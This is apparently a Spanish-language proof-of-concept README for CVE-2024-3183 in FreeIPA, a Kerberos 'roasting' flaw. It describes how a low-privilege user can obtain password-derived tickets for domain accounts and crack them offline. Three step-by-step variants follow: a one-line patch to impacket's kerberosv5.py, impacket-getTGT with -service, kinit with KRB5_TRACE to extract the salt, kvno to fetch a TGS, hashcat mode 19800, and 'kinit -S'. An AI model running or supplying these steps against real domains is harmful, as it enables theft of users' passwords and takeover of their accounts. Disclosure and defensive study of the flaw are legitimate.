CVE-2024-3183-POC

POC para CVE-2024-3183 (FreeIPA Rosting)

Impacto: Un usuario con pocos privilegios puede obtener un hash de las contraseñas de todos los usuarios del dominio y realizar fuerza bruta offline (kerberoasting).

Parche para impacket-getTGT:

1. Añade decoder.decode.defaultErrorState = stGetValueDecoderByTag a impacket/krb5/kerberosv5.py.
2. ¡Disfruta!

POC1:

1. Añade decoder.decode.defaultErrorState = stGetValueDecoderByTag a impacket/krb5/kerberosv5.py.
2. Puedes usar impacket-getTGT con las opciones -service y -debug para obtener la salt en un solo comando. impacket-getTGT test.local/user -debug -service admin

POC2:

1. Primero, solicitemos un ticket TGT para un usuario ya comprometido "admin".
2. En segundo lugar, averiguaremos la salt del usuario "admin": printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. Obtén el TGS para "admin": kvno admin
4. Usa el script de Python (o hashcat mod 19800 con salt específica) para fuerza bruta del TGS

1 - TGS, 2 - SALT, 3 - Contraseñas.

5. Felicidades, ya tenemos la contraseña del usuario "admin".

POC3:

1. Puedes usar kinit en un solo paso: kinit -S target user

y obtienes un TGT cifrado con la clave del usuario objetivo.